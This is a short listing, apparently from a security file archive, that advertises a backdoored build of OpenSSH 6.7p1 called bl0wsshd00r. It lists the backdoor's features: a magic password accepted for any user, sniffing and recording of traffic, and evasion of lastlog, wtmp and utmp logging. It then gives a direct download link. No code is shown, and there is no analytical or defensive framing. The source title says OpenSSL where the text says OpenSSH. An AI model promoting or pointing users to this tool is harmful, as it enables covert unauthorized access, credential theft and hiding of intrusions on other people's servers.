bl0wsshd00r backdoors OpenSSH 6.7p1 with a magic password for any user, sniffs and records traffic, and mitigates logging to lastlog/wtmp/utmp.
You can download it from the following link: https://packetstormsecurity.com/files/download/128816/bl0wsshd00r67p1.tar.gz
Source: https://packetstormsecurity.com/files/128816/OpenSSL-6.7p1-bl0wsshd00r67p1-Backdoor.html